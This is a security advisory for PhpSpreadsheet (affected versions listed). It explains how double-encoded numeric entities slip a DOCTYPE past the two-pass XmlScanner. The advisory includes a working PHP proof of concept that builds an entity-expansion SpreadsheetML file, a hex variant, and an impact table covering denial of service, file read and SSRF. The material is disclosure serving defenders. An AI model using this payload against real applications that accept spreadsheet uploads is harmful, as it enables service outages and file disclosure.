GHSA-RXJ4-H86G-25GC

Vulnerability from github – Published: 2026-10-27 15:38 – Updated: 2026-10-27 15:38
VLAI
Summary
PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
Details

Summary

The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#38;#60;, the first scan decodes &#38; to & (forming &#60;), and the second scan decodes &#60; to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.

Details

The vulnerability involves an interaction between three code locations:

1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:

public function scan($xml): string
{
    $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';

    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)
        throw new Exception('Detected use of ENTITY...');
    }
    $xml = $this->toUtf8($xml);
    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)
        throw new Exception('Detected use of ENTITY...');
    }
    if ($this->callback !== null) {
        $xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
    }
    return $xml;  // <!DOCTYPE now present, never checked
}

2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:

$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content

3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:

$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
    $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);

The double-scan decode chain:

Raw file:       &#38;#60;!DOCTYPE
                         |
1st scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#38;) = &
                         |
Stored:         &#60;!DOCTYPE
                         |
2nd scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#60;) = <
                         |
Parser sees:    <!DOCTYPE ← never detected by either scan

The unentity() callback (Xml.php, lines 54–61) protects five named entities (&amp; &lt; &gt; &quot; &apos;) via Unicode placeholders, but numeric entities (&#38; &#60; &#x26; &#x3C;) are not protected and are decoded by html_entity_decode().

PoC

Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes
// 1st scan callback: &#38; → & (forms &#60;)
// 2nd scan callback: &#60; → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n"
    . '<?mso-application progid="Excel.Sheet"?>' . "\n"
    . '&#38;#60;!DOCTYPE Workbook [' . "\n"
    . '  &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
    . '  xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
    . '  <Worksheet ss:Name="Sheet1">' . "\n"
    . '    <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
    . '  </Worksheet>' . "\n"
    . '</Workbook>';

file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";

$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memory_limit=512M poc_toctou.php

Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).

Hex variant: Replace &#38;#60; with &#38;#x3C; — both are decoded by html_entity_decode().

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

Attack PHP < 8.0 / libxml2 < 2.9 PHP 8.x / libxml2 2.9+
Denial of Service (quadratic blowup) Exploitable Exploitable
Local file read via SYSTEM entity Exploitable Blocked by default
SSRF via SYSTEM entity Exploitable Blocked by default
File read when LIBXML_NOENT is used Exploitable Exploitable

Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:38:22Z",
    "nvd_published_at": "2026-10-22T18:17:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `\u003c` character as `\u0026#38;#60;`, the first scan decodes `\u0026#38;` to `\u0026` (forming `\u0026#60;`), and the second scan decodes `\u0026#60;` to `\u003c` (forming `\u003c!DOCTYPE`). Neither scan\u0027s pattern check detects the `\u003c!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87\u2013108) \u2014 checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n    $pattern = \u0027/\\0*\u003c\\0*!\\0*D\\0*O\\0*...\\0*/\u0027;\n\n    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)\n        throw new Exception(\u0027Detected use of ENTITY...\u0027);\n    }\n    $xml = $this-\u003etoUtf8($xml);\n    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)\n        throw new Exception(\u0027Detected use of ENTITY...\u0027);\n    }\n    if ($this-\u003ecallback !== null) {\n        $xml = call_user_func($this-\u003ecallback, $xml); // DECODE (after checks!)\n    }\n    return $xml;  // \u003c!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79\u2013117) \u2014 scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this-\u003egetSecurityScannerOrThrow()-\u003escan($data); // 1st scan\n// ...\n$this-\u003efileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120\u2013150) \u2014 re-scans the stored content:\n\n```php\n$data = $this-\u003efileContents; // already partially decoded\n$xml = simplexml_load_string(\n    $this-\u003egetSecurityScannerOrThrow()-\u003escan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file:       \u0026#38;#60;!DOCTYPE\n                         |\n1st scan():     pattern check \u2192 no match (no \"\u003c\" character)\n                callback \u2192 html_entity_decode(\u0026#38;) = \u0026\n                         |\nStored:         \u0026#60;!DOCTYPE\n                         |\n2nd scan():     pattern check \u2192 no match (no \"\u003c\" character)\n                callback \u2192 html_entity_decode(\u0026#60;) = \u003c\n                         |\nParser sees:    \u003c!DOCTYPE \u2190 never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54\u201361) protects five named entities (`\u0026amp; \u0026lt; \u0026gt; \u0026quot; \u0026apos;`) via Unicode placeholders, but numeric entities (`\u0026#38; \u0026#60; \u0026#x26; \u0026#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\n// Double-encoded: \u0026#38;#60; survives two scan() passes\n// 1st scan callback: \u0026#38; \u2192 \u0026 (forms \u0026#60;)\n// 2nd scan callback: \u0026#60; \u2192 \u003c (forms \u003c!DOCTYPE)\n$entity_value = str_repeat(\u0027A\u0027, 100000);\n$refs = str_repeat(\u0027\u0026big;\u0027, 200);\n\n$xml = \u0027\u003c?xml version=\"1.0\"?\u003e\u0027 . \"\\n\"\n    . \u0027\u003c?mso-application progid=\"Excel.Sheet\"?\u003e\u0027 . \"\\n\"\n    . \u0027\u0026#38;#60;!DOCTYPE Workbook [\u0027 . \"\\n\"\n    . \u0027  \u0026#38;#60;!ENTITY big \"\u0027 . $entity_value . \u0027\"\u003e\u0027 . \"\\n\"\n    . \u0027]\u003e\u0027 . \"\\n\"\n    . \u0027\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\u0027 . \"\\n\"\n    . \u0027  xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e\u0027 . \"\\n\"\n    . \u0027  \u003cWorksheet ss:Name=\"Sheet1\"\u003e\u0027 . \"\\n\"\n    . \u0027    \u003cTable\u003e\u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003e\u0027 . $refs . \u0027\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\u003c/Table\u003e\u0027 . \"\\n\"\n    . \u0027  \u003c/Worksheet\u003e\u0027 . \"\\n\"\n    . \u0027\u003c/Workbook\u003e\u0027;\n\nfile_put_contents(\u0027poc.xml\u0027, $xml);\necho \"File size: \" . filesize(\u0027poc.xml\u0027) . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader-\u003ecanRead(\u0027poc.xml\u0027) ? \u0027true\u0027 : \u0027false\u0027) . \"\\n\";\n$spreadsheet = $reader-\u003eload(\u0027poc.xml\u0027);\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell(\u0027A1\u0027)-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet\u0027s max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `\u0026#38;#60;` with `\u0026#38;#x3C;` \u2014 both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `\u003c?mso-application progid=\"Excel.Sheet\"?\u003e` processing instruction) and processes them with PhpSpreadsheet\u0027s `Xml` reader is vulnerable.",
  "id": "GHSA-rxj4-h86g-25gc",
  "modified": "2026-10-27T15:38:23Z",
  "published": "2026-10-27T15:38:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108357"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.